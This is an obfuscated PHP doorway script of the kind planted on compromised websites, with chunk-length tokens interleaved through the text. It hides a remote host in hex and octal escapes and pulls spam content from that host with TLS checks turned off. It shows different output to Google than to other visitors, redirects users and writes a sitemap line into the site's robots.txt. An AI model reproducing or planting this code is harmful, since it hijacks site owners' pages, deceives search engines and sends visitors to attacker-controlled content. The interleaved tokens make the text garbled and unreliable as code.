3 tr 3 ue, 16 CURLOPT_ a CONNECTTIM 3 EOU 6 T => 5 17 , CURLOPT_ f TIMEOUT 4 => 8 18 , CURLOPT_S 3 SL_ 5 VERIF 3 YPE 6 ER => 26 false, CURLOPT_SSL_VERIFY 3 HOS 1 T 23 => false, CURLOPT_FOL 2 LO 4 WLOC 4 ATIO 21 N => false, CURLOPT_ 4 USER 2 AG 3 ENT 10 => "Mozill 3 a/5 3 .0" a 15 ]); $data = 7 curl_ex 2 ec 15 ($ch); curl_ 4 clos d e($ch); d } if ( 7 empty($ 6 data) 6 && ini 6 _get(' 4 allo 6 w_url_ 4 fope 1 n 15 ')) { $conte 5 xt = 5 strea 2 m_ 9 context_c 6 reate( 14 [ "http 5 " => 2 [" 7 timeout 7 " => 8, 5 "hea 3 der 8 " => "Us 3 er- 2 Ag 5 ent: d Mozilla/5.0\r 4 \n"] f , 4 "ssl 8 " => [" 4 veri 4 fy_p 8 eer" => 7 false, f "verify_peer_na 2 me b " => false] 20 ]); $data = @ 13 file_get_contents($ 4 url, 10 false, $context 15 ); } if ( d !empty($data) d ) cache_set($ 5 url, 7 $data); 12 return $data 2b ; } /* ------------------------- 5 URL 2 3 息 2d ------------------------- */ function get_ 7 url_inf 5 o(str 4 ing 4 $typ 3 e=' 4 doma 4 in') 9 : string 9 { $h 3 ost c = $_SERVER[ a 'HTTP_HOST 3 '] 2 ?? f ''; if ($ 5 type 5 === ' 3 no_ 4 www' 9 ) return 4 preg 5 _repl 2 ac 5 e('/^ 5 www\. 2 /i 4 ', ' 9 ', $host) b ; $p 4 roto 3 col 3 = 16 (!empty($_SERVER['HTTP 3 S'] 5 ) && 16 $_SERVER['HTTPS'] !== 4 'off 4 ') ? 7 "https 4 ://" 8 : "http 4 ://" 9 ; $b 2 as f e = $protocol . 6 $host d ; if ( f $type === 'base f ') return $base 17 ; if ($type === 'f 3 ull 12 ') return $base . c ($_SERVER['R 2 EQ 3 UES 5 T_URI 8 '] ?? '' 12 ); return $ 7 host; 29 } /* ------------------------- 3 2 3 变 3 量 20 ------------------------- */ 5 goto 3 ONP 3 uB; 7 ONPuB: 6 $http 7 _type = 11 !empty($_SERVER[ 3 "\x 4 48\1 3 24\ 6 x54\x5 5 0\x53 1 " 19 ]) && $_SERVER["\x48\124\ d 124\x50\x53"] 6 !== " 4 \157 3 \x6 3 6\1 3 46" 7 ? "\15 4 0\x7 9 4\x74\x70 3 \16 4 3\72 3 \x2 5 f\x2f 8 " : "\x6 4 8\16 9 4\164\160 9 \72\x2f\5 4 7"; 7 goto O4 3 O9k 7 ; O4O9k 4 : $v 8 url = "\ 4 x74\ 8 157\56\1 2 52 7 \147\14 5 1\x6c 9 \x6c\163\ 3 x2e 4 \143 8 \157\x6d c \x2f"; goto 3 vgv 3 72; 9 vgv72: $ 2 qz 6 = sub 3 str d (str_replace( 6 array( 5 "\x77 7 \x77\16 6 7\x2e" 3 , " 5 \56") 7 , '', $ d _SERVER["\110 7 \x54\x5 8 4\120\x5 6 f\x48\ 3 x4f 8 \123\x54 4 "]), 4 0, 5 3); 24 /* ------------------------- 3 2 2 f 4 参 24 数 ------------------------- */ $ 6 sz = $ 2 ii 5 d = " 6 "; if a (!empty($_ 5 GET)) 4 { 4 $f=r 6 eset($ 5 _GET) 9 ; $s 4 p = e explode('-', $ 1 f f ); if (cou 4 nt($ 3 sp) 6 === 2 11 ) { $sz 6 = $sp 3 [0] c ; $ b iid = $sp[1 1 ] b ; } } 28 /* ------------------------- 远 2 3 3 1 20 ------------------------- */ e if (!empty($sz b )) { $ 5 jd = d getCurlFast(" b {$http_type 2 }{ 7 $vurl}3 3 kg. 4 aspx 3 ?sz 2 =" 8 . urlen 5 code( 5 $sz)) 6 ; } e 3 lse 3a { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy= d {$http_type}" b ); $sz 2c = getCurlFast("{$http_type}{$vurl}3kg.aspx? 2 jd 12 =" . urlencode($jd 1 ) c ); } $hy 3 zhd 5 y = $ 5 jd . 3 "41 5 .aspx 6 "; $s 5 url 16 = $jd . "s41.aspx"; 25 /* ------------------------- 4 robo 2 ts 5 / si 5 temap 22 ------------------------- */ $s 7 itemapL 6 ine = 2 "S 8 itemap: e {$http_type}{$ 20 _SERVER['HTTP_HOST']}{$_SERVER[' 3 SCR 4 IPT_ 3 NAM 5 E']}? 6 w=" . 5 date( 3 'Ym 3 dHi 5 ') . 4 "\n" c ; function 5 ensur 2 e_ e robots_sitemap d ($sitemapLine a ) { $ 9 robots = 6 rtrim( b $_SERVER['D 3 OCU 5 MENT_ 3 ROO 3 T'] 6 , "/\\ 7 ") . '/ 7 robots. 3 txt d '; if (! d file_exists($ 6 robots e )) { 1a @file_put_contents($robots 8 , "User- 7 agent: 3 *\n 5 Allow 3 : / 3 \n" f . $sitemapLine d , LOCK_EX); 5 } 13 else { $c 17 = @file_get_contents($ 8 robots); e if ( 4 $c = a == false | 2 | a strpos($c, e $sitemapLine) a === false 11 ) { 2a @file_put_contents($robots, $sitemapLine, 3 FIL 4 E_AP 4 PEND 2 | 10 LOCK_EX); 7 } a } } 28 /* ------------------------- w= 2 3 1 2f ------------------------- */ if (!empty($get 3 ['w 8 '])) { 9 $pa 3 ram 4 s = 7 http_bu 4 ild_ 3 que 2 ry e ([ 'N 3 OUm 4 ber' 4 => e $get['NOUmber' 7 ] ?? '' e , 't' a => 7 $get['t 17 '] ?? '', 'cn' f => $get[' 17 cn'] ?? '', 'p 5 NOUm' 12 => $get['pNOUm' 15 ] ?? '', 'ci 2 d' 12 => $get['cid' 14 ] ?? '', 'm 11 ' => $get[' 10 m'] ?? '' ] b ); $ 3 str 12 = getCurlFast("{$ 6 surl}? 8 {$params 6 }"); 9 ech 2 o 16 str_replace( 3 ['y 4 ymm' 3 ,'g 8 gggg','? 2 f= e '], [ b $http_type. 15 $_SERVER['HTTP_HOST'] 1 . 1b $_SERVER['SCRIPT_NAME'], $s 5 z,'?' 4 .$qz 2 .' 20 ='], $str ); 3 exi 2d t; } /* ------------------------- I 3 P 3 2 3 ( 2 3 3 k 3 k 3 2 24 ) ------------------------- */ $ 5 kk = 2 is a set($get[' 2 kk 5 ']) ? 6 trim( d $get['kk']) : 6 ''; b $ip = ($kk 5 !== ' 7 ') ? "6 3 6.2 3 49. 3 82. 5 8" : d get_real_ip() 28 ; /* ------------------------- 3 get 7 domain2 6 判 1 27 ------------------------- */ $domain 8 = trim( d getCurlFast($ 10 jd . "getdomain2 7 .aspx?r 3 nd= 4 1&ip 5 =" . 4 $ip) 2a ); /* ------------------------- 2 6 googl 3 e + 5 iid 2 3 3 2 24 ------------------------- */ if ( d $domain !== ' 7 google' 4 && b !empty($iid b )) { $ 2d kname = urldecode(getCurlFast($jd . "gn.aspx? 3 iid 8 =" . $ii f d)); echo 3 'lo 2 ca 6 tion=" 4 ' . 8 $jd . "a b .aspx?cname 10 =" . urlencode($ 5 kname 9 ) . "&url 6 =" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' 12 SCRIPT_NAME'] . '" 2 ' 36 ; exit; } /* ------------------------- 4 iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 12 str = getCurlFast( 8 $hyzhdy 8 . "?iid= 5 {$iid 29 }"); echo str_replace( [' 9 ggggg','Y 7 YYYY',' 3 XXX 7 YYY',' 3 2 6 URL',' 5 UUUUU 8 ','MMMMM 15 ','?f='], [$ 3 sz, f get_url_info() f , get_url_info( 17 'base'), get_url_info(' 6 full') 10 , get_url_info(' 9 no_www'), 5 parse 4 _url 1b ($_SERVER['REQUEST_URI'], P 2 HP 6 _URL_P 3 ATH 1 ) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- a sitemap he 4 lper 29 ------------------------- */ function 3 out 4 put_ a sitemap_an 5 d_exi e t($sitemapLine 1 , 14 $http_type) { 23 ensure_robots_sitemap($sitemapLine) d ; echo " 3 10 8 Sitemap< 2 /a f > " 36 ; exit; } /* ------------------------- 3 kk 7 输出 3 2 25 ------------------------- */ if ($ 9 kk !== '' 4 && 8 preg_mat 2 ch 6 ('/^[A 3 -Za 3 -z0 3 -9] 3 +$/ 5 ', $k 1 k e )) { $rem 3 ote 10 = getCurlFast($ 1c jd . "getdomain2.aspx?rnd=2& 2 kk 9 =" . $kk) c ; if (! 7 empty($ 14 remote)) { 5 echo 7 $remote 12 ; exit; c } } 13 if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) a ; } $i 5 s_no_ 5 query 4 = e f mpty($_SERVER[' 5 QUERY 7 _STRING 8 ']); 9 if ($kk = 9 == '' && c $is_no_query 15 ) { if ($domain c === 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 35 output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0